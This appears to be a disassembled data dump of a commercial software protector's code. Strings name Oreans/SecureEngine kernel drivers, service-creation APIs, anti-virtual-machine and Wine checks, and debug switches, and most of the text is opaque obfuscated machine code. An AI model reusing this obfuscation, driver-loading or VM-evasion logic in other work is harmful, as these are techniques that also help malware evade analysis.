dd 19042444h, 47000000h, 0BE84C357h, 0C5EFD5DDh, 0F8D0BF0Fh
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F2C35646h
dd 0B58981B3h, 7E030B5h, 2CE18166h, 6AC08B09h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
dd 0BB00C355h, 10B52832h, 13558589h, 50BA07E0h, 0C6521B64h
dd 0E0075985h, 840F4307h, 7, 18F0Fh, 68F80000h, 0BBD41EEDh
dd 81FB8B66h, 500F2404h, 0C98000BAh, 1B5FF87h, 6A07E02Fh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 0AA89C350h, 7AF4CAA0h, 8D89719Fh, 7E0102Dh
dd 39F8858Dh, 6A07E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
dd 1C0424h, 57470000h, 95A243C3h, 3B3EFBB5h, 8B665753h
dd 90D0FFD0h, 7E9h, 0B1F19A00h, 0EB139675h, 11E950h, 278E0000h
dd 94FB9BE3h, 55AF742Eh, 60D22968h, 90AC2D3Bh, 6A2CF680h
dd 0A1952B00h, 0F07E015h, 78Fh, 81665600h, 598073F2h, 4E8h
dd 8000h, 506BB100h, 74346B9h, 24448B2Ch, 10860F04h, 0E9000000h
dd 0Bh, 13564A30h, 39DACDABh, 8BF05E5Ah, 0D9BF6600h, 244489C5h
dd 5843B604h, 2B019D89h, 36A07E0h, 6850Fh, 0BD030000h
dd 7E0229Dh, 0BA66006Ah, 850FA07Ch, 3, 6AF6BF0Fh, 57006A03h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 94577D7h, 8077DD40h, 5B68CFD2h, 814D0684h, 7BA52404h
dd 0B58B72F9h, 7E01CC1h, 0AF0E9D8Dh, 0B70F07E2h, 525050F6h
dd 52505250h, 585A310Fh, 0CA8B310Fh, 310F585Ah, 0F525060h
dd 66585A31h, 61C276BFh, 1C89585Ah, 6E924h, 29A50000h
dd 9B4C6A95h, 0B529D0FFh, 7E019F5h, 1B850F40h, 0F000003h
dd 38Ch, 0D7BF0F00h, 58CAB70Fh, 19A5B58Bh, 665007E0h, 89B446BAh
dd 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
dd 56460000h, 0F27E78C3h, 820Fh, 6A0000h, 2E8D8D8Bh, 860F07E0h
dd 0Eh, 8A0F60h, 8B000000h, 0E006519Dh, 6C686107h, 0B92BC723h
dd 1E4ECEB7h, 0EC243481h, 312BC723h, 0E01AEDBDh, 0F036A07h
dd 6ACEBFh, 21E19589h, 36A07E0h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 15h, 17C35747h, 0B800F2Ch, 0F000000h
dd 58Bh, 0F6816600h, 816696B5h, 0E8BF16F7h, 4, 0C0000000h
dd 0C124BE60h, 0B460094Ch, 12E94Dh, 513F0000h, 0C129A97Eh
dd 0AE54A47Bh, 897E316Bh, 54443865h, 8B506161h, 24448BCAh
dd 8B81B604h, 0BABE6600h, 24448907h, 95035804h, 7E023D9h
dd 0AF179D8Dh, 6A07E2h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0B58B02C3h, 7E026B1h, 50EF8A93h
dd 11E8h, 0F1F7CC00h, 0BC60FDE4h, 5DA888A2h, 8266115Eh
dd 7E884A6h, 0F1000000h, 59D17EC9h, 6160A8EBh, 6693595Fh
dd 0FF5CF5BEh, 62DA80D0h, 0BF850F40h, 0E9000001h, 7, 0D5C3C4E3h
dd 0F08A3F5h, 0E858CFB7h, 0Bh, 1307F957h, 67A6B74Ah, 81EE2050h
dd 23CD72F2h, 0E8905E40h, 9, 9752ECF5h, 9075034Ah, 0BE916h
dd 798E0000h, 0D1450F0Fh, 0D3C93C36h, 0E9505A32h, 0Fh
dd 0B093BF31h, 50CAB4F3h, 5942704Dh, 90487DC6h, 0BC97E681h
dd 0B58B335Ch, 7E02511h, 10E9006Ah, 64000000h, 0A08EDCDh
dd 0F80EB566h, 4D394770h, 8B60413Fh, 0B8F768D6h, 880F491Fh
dd 0
dd 77243481h, 89491FB8h, 0E0001DB5h, 65B50907h, 6A07E022h
dd 52006A03h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 8E989h, 78700000h, 0E7DE9D80h, 6AC4C9h
dd 0CE9h, 6F705000h, 2759E539h, 0C249FC84h, 0F036AC6h
dd 188h, 2A68FC00h, 0F918E95h, 0D83h, 0B9525000h, 236FD6ABh
dd 6160310Fh, 3481585Ah, 8E952A24h, 68A0F51h, 8B000000h
dd 0E016818Dh, 229D8D07h, 6607E2AFh, 6664D4BAh, 3521D281h
dd 0FA8A6050h, 3B7FBA66h, 241C8961h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 71C35747h, 8968FF58h, 0E013FDB5h
dd 60D0FF07h, 0BD8B60FCh, 7E007B5h, 619BD8Bh, 616107E0h
dd 2810Fh, 0F08B0000h, 4B850F40h, 8B000000h, 0E0162DB5h
dd 95895807h, 7E01931h, 134E9h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 8D8BE5B7h
dd 7E020F9h, 0AE8h, 7F151F00h, 4A80CF7Eh, 89D95206h, 0E0009995h
dd 0D88B5A07h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 17h, 0FAC35343h, 66456347h, 6A4BF38Bh, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1C042444h, 47000000h, 0D0BCC357h
dd 0EFD13CDEh, 81F5D981h, 8DA624E1h, 6A583Fh, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 23013BC3h
dd 6BE18166h, 5985C672h, 4307E007h, 39C0AB68h, 665250B3h
dd 310FF18Bh, 2BBE6650h, 585A5F6Ah, 0C243481h, 8B734F8Ah
dd 0E01E4DB5h, 1B5FF07h, 6A07E02Fh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0E9B1C352h
dd 8B0F4763h, 6, 30219531h, 858D07E0h, 7E039F8h, 0FFD7B70Fh
dd 0EA8166D0h, 8950F801h, 98B6241Ch, 0FFF8BF0Fh, 0D7B70FD0h
dd 748D9D8Dh, 0B8F907E0h, 1, 0FC51E3FFh, 0B9C18B5Ah, 71958259h
dd 9E8C08Bh, 89000000h, 0CE487033h, 0F6818263h, 2DF5B52Bh
dd 835F07E0h, 0E006B1BDh, 9750007h, 1C5BD83h, 740007E0h
dd 8B535019h, 40FB8C0h, 85890000h, 7E02399h, 0BCC99D8Dh
dd 0D3FF07E2h, 0BD83585Bh, 7E001C5h, 50177400h, 40FB853h
dd 85890000h, 7E02399h, 0B96A9D8Dh, 0D3FF07E2h, 0D68B585Bh
dd 24F5BD8Bh, 0C08B07E0h, 6E8h, 0C773BF00h, 9775C70h, 0E021858Dh
dd 8B575A07h, 0E02395BDh, 0C2815B07h, 64A9h, 0BE5BF957h
dd 18FBh, 758D8960h, 8B07E01Ah, 0E0169DBDh, 32FF6107h
dd 58A5E380h, 68A0Fh, 8D8B0000h, 7E00875h, 2C97E881h, 8589189Dh
dd 7E02AD9h, 70EEF081h, 0FB8B3C28h, 6023F081h, 840F5C20h
dd 6, 2BA5B589h, 805007E0h, 28F11DFh, 6850Fh, 0C9810000h
dd 71B1A51Eh, 4DD2EA81h, 810F2199h, 6, 7AEECF81h, 0C28156D7h
dd 21994DCEh, 1EE81h, 850F0000h, 0FFFFFF92h, 1C8C0Fh, 11E80000h
dd 0D1000000h, 6F9248Fh, 0B0F2ADC7h, 8F324078h, 0CAC087Fh
dd 0FAE6ACBFh, 0AAE95B59h, 53000000h, 7774666Fh, 5C657261h
dd 4C6E6957h, 6E656369h, 43006573h, 6B636568h, 58004E49h
dd 746F7270h, 74697845h, 65684300h, 554F6B63h, 69570054h
dd 63694C6Eh, 65736E65h, 73726556h, 6E6F69h, 4C6E6957h
dd 6E656369h, 72446573h, 72657669h, 73726556h, 6E6F69h
dd 4C6E6957h, 6E656369h, 6E496573h, 6E617473h, 45006563h
dd 4F746978h, 7250006Bh, 4E49636Fh, 6F725000h, 54554F63h
dd 69784500h, 4E4974h, 74697845h, 54554Fh, 4E497054h, 3 dup(0)
dd 0DDAF7F00h, 0DD72F077h, 596E977h, 85890000h, 7E2B785h
dd 0B781858Dh, 8D5007E2h, 0E2B6EB85h, 1685007h, 0FF800000h
dd 0E2B79195h, 0FF196A07h, 0E2B785B5h, 6A016A07h, 1A858D00h
dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h, 0B781B5FFh
dd 95FF07E2h, 7E2B78Dh, 0B781B5FFh, 95FF07E2h, 7E02949h
dd 858589C3h, 8D07E2B7h, 0E2B78185h, 858D5007h, 7E2B6EBh
dd 16850h, 95FF8000h, 7E2B791h, 858D046Ah, 7E2B785h, 6A046A50h
dd 44858D00h, 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h
dd 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh, 95FF07E2h
dd 7E02949h, 858589C3h, 8D07E2B7h, 0E2B78185h, 858D5007h
dd 7E2B6EBh, 16850h, 95FF8000h, 7E2B791h, 858D046Ah, 7E2B785h
dd 6A046A50h, 2C858D00h, 5007E2B7h, 0B781B5FFh, 95FF07E2h
dd 7E02415h, 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh
dd 95FF07E2h, 7E02949h, 858589C3h, 8D07E2B7h, 0E2B78185h
dd 858D5007h, 7E2B6EBh, 16850h, 95FF8000h, 7E2B791h, 858D046Ah
dd 7E2B785h, 6A046A50h, 57858D00h, 5007E2B7h, 0B781B5FFh
dd 95FF07E2h, 7E02415h, 0B781B5FFh, 95FF07E2h, 7E2B78Dh
dd 0B781B5FFh, 95FF07E2h, 7E02949h, 858589C3h, 8D07E2B7h
dd 0E2B78185h, 858D5007h, 7E2B6EBh, 16850h, 95FF8000h
dd 7E2B791h, 858D046Ah, 7E2B785h, 6A046A50h, 7858D00h
dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h, 0B781B5FFh
dd 95FF07E2h, 7E2B78Dh, 0B781B5FFh, 95FF07E2h, 7E02949h
dd 9BD83C3h, 7E01Eh, 0B840Fh, 9D8B0000h, 7E01E09h, 894CC383h
dd 0BD83C303h, 7E01E09h, 0B840F00h, 8B000000h, 0E01E099Dh
dd 50C38307h, 83C30389h, 0E01E09BDh, 840F0007h, 0Bh, 1E099D8Bh
dd 0C38307E0h, 0C3038954h, 1E09BD83h, 0F0007E0h, 0B84h
dd 99D8B00h, 8307E01Eh, 38958C3h, 9BD83C3h, 7E01Eh, 0B840Fh
dd 9D8B0000h, 7E01E09h, 895CC383h, 60C3C303h, 0B7858589h
dd 858D07E2h, 7E2B781h, 0EB858D50h, 5007E2B6h, 168h, 9195FF80h
dd 6A07E2B7h, 85858D04h, 5007E2B7h, 6A046Ah, 0B77C858Dh
dd 0FF5007E2h, 0E2B781B5h, 1595FF07h, 8307E024h, 0E006B1BDh
dd 840F0007h, 0Ch, 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh
dd 95FF07E2h, 7E02949h, 8960C361h, 0E2B78585h, 81858D07h
dd 5007E2B7h, 0B6EB858Dh, 685007E2h, 80000001h, 0B79195FFh
dd 46A07E2h, 0B785858Dh, 6A5007E2h, 8D006A04h, 0E2B75E85h
dd 0B5FF5007h, 7E2B781h, 241595FFh, 0BD8307E0h, 7E006B1h
dd 0C840F00h, 0FF000000h, 0E2B781B5h, 8D95FF07h, 0FF07E2B7h
dd 0E2B781B5h, 4995FF07h, 6107E029h, 858960C3h, 7E2B785h
dd 0B781858Dh, 8D5007E2h, 0E2B6EB85h, 1685007h, 0FF800000h
dd 0E2B79195h, 8D046A07h, 0E2B78585h, 46A5007h, 858D006Ah
dd 7E2B765h, 81B5FF50h, 0FF07E2B7h, 0E0241595h, 0B1BD8307h
dd 7E006h, 0C840Fh, 0B5FF0000h, 7E2B781h, 0B78D95FFh, 0B5FF07E2h
dd 7E2B781h, 294995FFh, 0C36107E0h, 85858960h, 8D07E2B7h
dd 0E2B78185h, 858D5007h, 7E2B6EBh, 16850h, 95FF8000h
dd 7E2B791h, 858D046Ah, 7E2B785h, 6A046A50h, 6D858D00h
dd 5007E2B7h, 0B781B5FFh, 95FF07E2h, 7E02415h, 6B1BD83h
dd 0F0007E0h, 0C84h, 81B5FF00h, 0FF07E2B7h, 0E2B78D95h
dd 81B5FF07h, 0FF07E2B7h, 0E0294995h, 60C36107h, 0B7858589h
dd 858D07E2h, 7E2B781h, 0EB858D50h, 5007E2B6h, 168h, 9195FF80h
dd 6A07E2B7h, 85858D04h, 5007E2B7h, 6A046Ah, 0B774858Dh
dd 0FF5007E2h, 0E2B781B5h, 1595FF07h, 8307E024h, 0E006B1BDh
dd 840F0007h, 0Ch, 0B781B5FFh, 95FF07E2h, 7E2B78Dh, 0B781B5FFh
dd 95FF07E2h, 7E02949h, 0C760C361h, 0E2B78585h, 107h, 81858D00h
dd 5007E2B7h, 0B6EB858Dh, 685007E2h, 80000002h, 0B79195FFh
dd 0C00B07E2h, 0F840Fh, 85C70000h, 7E2B785h, 0
dd 4DE9h, 8D046A00h, 0E2B78585h, 46A5007h, 858D006Ah, 7E2B6FFh
dd 81B5FF50h, 0FF07E2B7h, 0E0241595h, 0FC00B07h, 0F84h
dd 8585C700h, 7E2B7h, 0E9000000h, 0Ah, 0B78585C7h, 107E2h
dd 0B5FF0000h, 7E2B781h, 294995FFh, 8B6107E0h, 0E2B78585h
dd 8960C307h, 0E2B78585h, 81858D07h, 5007E2B7h, 0B6EB858Dh
dd 685007E2h, 80000001h, 0B79195FFh, 46A07E2h, 0B785858Dh
dd 6A5007E2h, 8D006A04h, 0E2B6FF85h, 0B5FF5007h, 7E2B781h
dd 241595FFh, 0BD8307E0h, 7E006B1h, 0C840F00h, 0FF000000h
dd 0E2B781B5h, 8D95FF07h, 0FF07E2B7h, 0E2B781B5h, 4995FF07h
dd 6107E029h, 858960C3h, 7E2B785h, 0B781858Dh, 8D5007E2h
dd 0E2B6EB85h, 1685007h, 0FF800000h, 0E2B79195h, 8D046A07h
dd 0E2B78585h, 46A5007h, 858D006Ah, 7E2B711h, 81B5FF50h
dd 0FF07E2B7h, 0E0241595h, 0B1BD8307h, 7E006h, 0C840Fh
dd 0B5FF0000h, 7E2B781h, 0B78D95FFh, 0B5FF07E2h, 7E2B781h
dd 294995FFh, 0C36107E0h, 75985C6h, 685207E0h, 0ADE47B07h
dd 1B71B5FFh, 95FF07E0h, 7E02001h, 0B7918589h, 85C607E2h
dd 7E00759h, 0E56852h, 0B5FF902Eh, 7E01B71h, 200195FFh
dd 858907E0h, 7E2B78Dh, 75985C6h, 685207E0h, 0B9BF1235h
dd 1B71B5FFh, 95FF07E0h, 7E02001h, 24158589h, 85C607E0h
dd 7E00759h, 10346852h, 0B5FF9878h, 7E01B71h, 200195FFh
dd 858907E0h, 7E02949h, 75985C6h, 685207E0h, 0C005DBD4h
dd 1B71B5FFh, 95FF07E0h, 7E02001h, 22FD8589h, 0EE907E0h
dd 33000002h, 6E6E6143h, 7720746Fh, 65746972h, 65726F20h
dd 2E736E61h, 0A647876h, 6B614D0Dh, 75732065h, 74206572h
dd 20746168h, 73696874h, 6C696620h, 73692065h, 746F6E20h
dd 69656220h, 7520676Eh, 20646573h, 61207962h, 68746F6Eh
dd 70207265h, 72676F72h, 2E6D61h, 67h dup(0)
dd 5C000000h, 6165724Fh, 762E736Eh, 6478h, 2 dup(0)
dd 0EFE900h, 85C60000h, 7E00759h, 5B866847h, 0B5FFE3E4h
dd 7E02F01h, 39F8858Dh, 0D0FF07E0h, 10468h, 2D9D8D00h
dd 5307E00Eh, 8D50D0FFh, 0E2BFC3B5h, 32FE8B07h, 850FAEC0h
dd 0FFFFFFF9h, 0CF8BFE2Bh, 3FB8B58h, 0C6A4F3F8h, 0E0075985h
dd 0FC684307h, 0FFBC8E6Eh, 0E02F01B5h, 0F8858D07h, 0FF07E039h
dd 2DB58DD0h, 6A07E00Eh, 806800h, 26A0000h, 6A006Ah, 68h
dd 0D0FF56C0h, 85C6D88Bh, 7E00759h, 0EE566857h, 0B5FFA69Bh
dd 7E02F01h, 39F8858Dh, 0D0FF07E0h, 2105BD8Dh, 8D8D07E0h
dd 7E2C0E9h, 6857006Ah, 37D0h, 0D0FF5351h, 850FC085h, 1Bh
dd 0BDCBB58Dh, 858D07E2h, 7E2AE58h, 8D8DD0FFh, 7E0748Dh
dd 0B8h, 0C6E1FF00h, 0E0075985h, 0A7684307h, 0FFC0764Ah
dd 0E02F01B5h, 0F8858D07h, 0FF07E039h, 0D0FF53D0h, 37D0B9C3h
dd 0E80000h, 58000000h, 890EC083h, 2E908h, 0C38B0000h
dd 37D0E9h, 905A4D00h, 300h, 400h, 0FFFF00h, 0B800h, 0
dd 4000h, 8 dup(0)
dd 0B000h, 0BA1F0E00h, 9B4000Eh, 1B821CDh, 5421CD4Ch, 20736968h
dd 676F7270h, 206D6172h, 6E6E6163h, 6220746Fh, 75722065h
dd 6E69206Eh, 534F4420h, 646F6D20h, 0D0D2E65h, 240Ah, 0
dd 1D175D00h, 737619DBh, 2 dup(73761988h), 6156E588h, 73761888h
dd 73761988h, 73761888h, 63695288h, 73761968h, 88h, 0
dd offset dword_454844+3BCh
dd 0
dd 4000200h, 0
dd 3800000h, 1400h, 4 dup(0)
dd 20000h, 1C000h, 9000h, 0
dd 7E00h, 0
dd 0C400h, 100h, 0DC00h, 3 dup(0)
dd 12C00h, 13800h, 2 dup(0)
dd 14200h, 19600h, 1D200h, 0
dd 1D200h, 0
dd 100000h, 1400h, 37C000h, 1000h, 0Dh dup(0)
dd 27C004h, 0
dd 204500h, 100h, 1400h, 4F434C00h, 1000044h, 2000000h
dd 3000000h, 4000000h, 5000000h, 6000000h, 7000000h, 8000000h
dd 9000000h, 0A000000h, 0B000000h, 0C000000h, 0D000000h
dd 0E000000h, 0F000000h, 10000000h, 11000000h, 12000000h
dd 13000000h, 14000000h, 50580800h, 56544F52h, 4458h, 1030100h
dd 300h, 0
dd 13h dup(7000000h), 3C000000h, 7000000h, 1001800h, 72760h
dd 500101ADh, 91000700h, 279B0101h, 1060027h, 179276Fh
dd 181017Dh, 1890185h, 7018Dh, 95010175h, 71000727h, 27980101h
dd 16B0007h, 277101h, 360h dup(0)
dd 40000h, 100h, 52505800h, 5856544Fh, 44h, 80h, 8 dup(0)
dd 72657600h, 5050h, 73763100h, 73763252h, 73763352h, 52h
dd 9C3h dup(0)
dd 1BE88300h, 7309F883h, 8524FF07h, 0
dd 0C3F8h, 8 dup(0)
dd 0C0330000h, 0C3C033C3h, 0C7E83h, 0C0330475h, 7E831AEBh
dd 1475010Ch, 58Dh, 7E8B0000h, 0C7078918h, 42046h, 0C0330000h
dd 50580CC3h, 56544F52h, 445F4458h, 4244h, 0BE800h, 28BC0000h
dd 7C26C82Fh, 5C64ACA0h, 13E92Bh, 0E9F60000h, 0FD2A8D0Ah
dd 0CA4B8516h, 84546A8Dh, 0D687F8CBh, 0F505F25h, 28Dh
dd 5E616000h, 6CF1C781h, 0BF0F0000h, 1B05B9F1h, 37FF0000h
dd 5BC38B66h, 0E0816660h, 81664B30h, 61D75BE2h, 0A13C381h
dd 0BF0F518Eh, 4DEB81C3h, 0F96EB1DFh, 101F381h, 0E0804361h
dd 80605360h, 8B665DE5h, 78F61C2h, 5860Fh, 34B80000h, 8101E87Bh
dd 0FD765DEFh, 0D1F68122h, 81578DC8h, 0FD7659C7h, 0A800F22h
dd 0F000000h, 489h, 58B86600h, 850F49E3h, 1Ch, 0E9F38B66h
dd 33h, 9D14E47h, 0FDA53D54h, 5C4B77h, 18F744Eh, 8889AB2Fh
dd 9E9h, 5A302600h, 0D35119Fh, 67E9D46Ah, 0DCFFFFFFh, 0A6D6963Eh
dd 5C6B190h, 0E904694Ah, 99h, 6775622Fh, 63656863h, 2F00326Bh
dd 63677562h, 6B636568h, 6F662F00h, 72656372h, 2F006E75h
dd 63677562h, 6B636568h, 6C6C7566h, 68732F00h, 6F63776Fh
dd 2F006564h, 776F6873h, 65646F63h, 632F0032h, 74726Ch
dd 7369642Fh, 732F0031h, 69776F68h, 6174736Eh, 65636Eh
dd 7465672Fh, 74736C77h, 73757461h, 6F6C2F00h, 61747367h
dd 737574h, 6D75642Fh, 61747370h, 737574h, 0
aCheckprotectio db '/checkprotection',0
align 4
dd 24BD8300h, 7E2FAh, 0A840Fh, 85C70000h, 7E001C5h, 1
dd 75985C6h, 0E84707E0h, 4, 906D6C8Dh, 24448B50h, 89008B04h
dd 58042444h, 2F01B5FFh, 858D07E0h, 7E039F8h, 0D0FFD0FFh
dd 3F80F88Bh, 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h
dd 3F80FFh, 31B840Fh, 80470000h, 840F003Fh, 311h, 1EE9h
dd 3F8000h, 303840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h
dd 0E2E94700h, 80FFFFFFh, 850F003Fh, 5, 2E0E9h, 1E900h
dd 80470000h, 840F203Fh, 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h
dd 0AE80000h, 0E9000000h, 0FFFFFFCBh, 2B4E9h, 0A4B58D00h
dd 0E807E2F9h, 225h, 0FA39BD03h, 0BD8307E2h, 7E2FA39h
dd 0B840F00h, 0C7000000h, 0E006B185h, 107h, 0B58DC300h
dd 7E2F9AFh, 1FCE8h, 39BD0300h, 8307E2FAh, 0E2FA39BDh
dd 840F0007h, 0Bh, 1C585C7h, 107E0h, 8DC30000h, 0E2FA28B5h
dd 1D3E807h, 0BD030000h, 7E2FA39h, 0FA39BD83h, 0F0007E2h
dd 0B84h, 3985C700h, 107E033h, 0C3000000h, 0F9B9B58Dh
dd 0AAE807E2h, 3000001h, 0E2FA39BDh, 39BD8307h, 7E2FAh
dd 0B840Fh, 85C70000h, 7E001C5h, 1, 0C3B58DC3h, 0E807E2F9h
dd 181h, 0FA39BD03h, 0BD8307E2h, 7E2FA39h, 15840F00h, 0C7000000h
dd 0E001C585h, 107h, 0B185C700h, 107E006h, 0C3000000h
dd 0F9D1B58Dh, 4EE807E2h, 3000001h, 0E2FA39BDh, 39BD8307h
dd 7E2FAh, 0A840Fh, 85C70000h, 7E01D85h, 1, 0F9DBB58Dh
dd 26E807E2h, 3000001h, 0E2FA39BDh, 39BD8307h, 7E2FAh
dd 0A840Fh, 85C70000h, 7E01D85h, 1, 0F9E6B58Dh, 0FEE807E2h
dd 3000000h, 0E2FA39BDh, 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h
dd 7E017D1h, 1, 0F9ECB58Dh, 0D6E807E2h, 3000000h, 0E2FA39BDh
dd 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h, 7E028F1h, 1
dd 0F9F2B58Dh, 0AEE807E2h, 3000000h, 0E2FA39BDh, 39BD8307h
dd 7E2FAh, 0A840Fh, 85C70000h, 7E026C1h, 1, 0FA00B58Dh
dd 86E807E2h, 3000000h, 0E2FA39BDh, 39BD8307h, 7E2FAh
dd 0A840Fh, 85C70000h, 7E02CC5h, 1, 0FA0DB58Dh, 5EE807E2h
dd 3000000h, 0E2FA39BDh, 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h
dd 7E02DB1h, 1, 0FA18B58Dh, 36E807E2h, 3000000h, 0E2FA39BDh
dd 39BD8307h, 7E2FAh, 0A840Fh, 85C70000h, 7E02FE5h, 1
dd 1E9h, 3F804700h, 9840F20h, 80000000h, 850F003Fh, 0FFFFFFEDh
dd 1B960C3h, 8B000000h, 1CE9DEh, 3F800000h, 2850F00h, 2B000000h
dd 38178AC9h, 5840F16h, 0B9000000h, 0
aFga db 'FG€>',0
db 0Fh, 84h, 8
dd 0B000000h, 0D3850FC9h, 0BFFFFFFh, 21840FC9h, 80000000h
dd 840F003Fh, 9, 0F203F80h, 0A85h, 1B900h, 5E90000h, 0B9000000h
dd 0
dd 840FC90Bh, 0Dh, 0B589F32Bh, 7E2FA39h, 0AE9h, 3985C700h
dd 7E2FAh, 61000000h, 0B8C3h, 0C00B0000h, 0A840Fh, 85C70000h
dd 7E01D85h, 0
dd 0B7E9C88Bh, 41000010h, 50415644h, 2E323349h, 4C4C44h
dd 6E65704Fh, 614D4353h, 6567616Eh, 43004172h, 74616572h
dd 72655365h, 65636976h, 74530041h, 53747261h, 69767265h
dd 416563h, 4E746547h, 76697461h, 73795365h, 496D6574h
dd 6F666Eh, 6E65704Fh, 76726553h, 41656369h, 6C654400h
dd 53657465h, 69767265h, 43006563h, 65736F6Ch, 76726553h
dd 48656369h, 6C646E61h, 6F430065h, 6F72746Eh, 7265536Ch
dd 65636976h, 8 dup(0)
dd 65726F00h, 33736E61h, 79732E32h, 73h, 0
dd 726F0000h, 736E6165h, 2E343678h, 737973h, 2 dup(0)
aOreans32 db 'oreans32',0
a_Oreans32 db '\\.\oreans32',0
a_GlobalOreans3 db '\\.\Global\oreans32',0
aOreansx64 db 'oreansx64',0
a_GlobalOreansx db '\\.\Global\oreansx64',0
align 4
dd 41h dup(0)
dd 53595300h, 524D4554h, 544F4Fh, 735C7325h, 65747379h
dd 5C32336Dh, 76697264h, 5C737265h, 25007325h, 79735C73h
dd 776F7773h, 645C3436h, 65766972h, 255C7372h, 73250073h
dd 7379735Ch, 336D6574h, 72645C32h, 72657669h, 726F5C73h
dd 736E6165h, 732E3233h, 7379h, 48h dup(0)
dd 33000000h, 6E6E6143h, 5520746Fh, 74616470h, 726F2065h
dd 736E6165h, 7379732Eh, 69726420h, 2E726576h, 656C5020h
dd 2C657361h, 6B616D20h, 75732065h, 74206572h, 20746168h
dd 20756F79h, 65766168h, 64610D0Ah, 696E696Dh, 61727473h
dd 27726F74h, 65702073h, 74696D72h, 68742073h, 69662065h
dd 20747372h, 656D6974h, 61687420h, 6F792074h, 72612075h
dd 6F672065h, 20676E69h, 72206F74h, 74206E75h, 20736968h
dd 676F7270h, 2E6D6172h, 59h dup(0)
dd 33000000h, 6E6E6143h, 6F20746Fh, 206E6570h, 6165726Fh
dd 762E736Eh, 64206478h, 65766972h, 4D202E72h, 20656B61h
dd 65727573h, 61687420h, 726F2074h, 736E6165h, 6478762Eh
dd 73690D0Ah, 746F6E20h, 65706F20h, 7962206Eh, 6F6E6120h
dd 72656874h, 6F727020h, 6D617267h, 2Eh, 66h dup(0)
dd 33000000h, 75636553h, 6E456572h, 656E6967h, 69726420h
dd 20726576h, 6E6E6163h, 6220746Fh, 70752065h, 65746164h
dd 65622064h, 73756163h, 68742065h, 20657265h, 20657261h
dd 656D6F73h, 6F727020h, 6D617267h, 73752073h, 0A676E69h
dd 2E74690Dh, 756F5920h, 65656E20h, 6F742064h, 6F6C6320h
dd 74206573h, 65736F68h, 6F727020h, 6D617267h, 726F2073h
dd 73657220h, 74726174h, 756F7920h, 6F632072h, 7475706Dh
dd 0A2E7265h, 7365520Dh, 74726174h, 776F6E20h, 3Fh, 0D8h dup(0)
dd 5C000000h, 4F5C2E5Ch, 6E616572h, 78762E73h, 64h, 2 dup(0)
aSOreans_vxd db '%s\Oreans.vxd',0
align 10h
dd 2 dup(0)
aXprotevent db 'XprotEvent',0
align 4
dd 0Ah dup(0)
dd 53000000h, 75685365h, 776F6474h, 6972506Eh, 656C6976h
dd 6567h, 43000000h, 74616572h, 65764565h, 4120746Eh, 45204950h
dd 726F7272h, 69687720h, 6520656Ch, 61727478h, 6F697463h
dd 6874206Eh, 72642065h, 72657669h, 74654700h, 69766E45h
dd 6D6E6F72h, 56746E65h, 61697261h, 20656C62h, 20495041h
dd 6F727245h, 68772072h, 20656C69h, 72747865h, 69746361h
dd 74206E6Fh, 64206568h, 65766972h, 704F0072h, 43536E65h
dd 616E614Dh, 20726567h, 20495041h, 6F727245h, 68772072h
dd 20656C69h, 72747865h, 69746361h, 74206E6Fh, 64206568h
dd 65766972h, 72430072h, 65746165h, 76726553h, 20656369h
dd 20495041h, 6F727245h, 68772072h, 20656C69h, 72747865h
dd 69746361h, 74206E6Fh, 64206568h, 65766972h, 6C430072h
dd 5365736Fh, 69767265h, 61486563h, 656C646Eh, 49504120h
dd 72724520h, 7720726Fh, 656C6968h, 74786520h, 74636172h
dd 206E6F69h, 20656874h, 76697264h, 4F007265h, 536E6570h
dd 69767265h, 41206563h, 45204950h, 726F7272h, 69687720h
dd 6520656Ch, 61727478h, 6F697463h, 6874206Eh, 72642065h
dd 72657669h, 61745300h, 65537472h, 63697672h, 50412065h
dd 72452049h, 20726F72h, 6C696877h, 78652065h, 63617274h
dd 6E6F6974h, 65687420h, 69726420h, 726576h, 43495041h
dd 72726520h, 203A726Fh, 6E6E6143h, 6620746Fh, 20646E69h
dd 636F7250h, 6F737365h, 43207372h, 72746E6Fh, 42206C6Fh
dd 6B636F6Ch, 50202E73h, 7361656Ch, 0D0A2C65h, 746E6F63h
dd 20746361h, 6F666E69h, 65726F40h, 2E736E61h, 206D6F63h
dd 20726F66h, 73696874h, 72726520h, 726Fh, 4000000h, 33000001h
dd 72726F53h, 74202C79h, 20736968h, 6C707061h, 74616369h
dd 206E6F69h, 6E6E6163h, 7220746Fh, 75206E75h, 7265646Eh
dd 56206120h, 75747269h, 4D206C61h, 69686361h, 656Eh, 70h dup(0)
dd 10h, 0FF000100h, 17FFEFFh, 1000000h, 4A000000h, 2, 0F000100h
dd 40800h, 94h, 5, 1, 0A28h, 2, 21h dup(0)
aSoftwareWine db 'Software\Wine',0
aLJ db '‹Äj',0
dw 0E851h
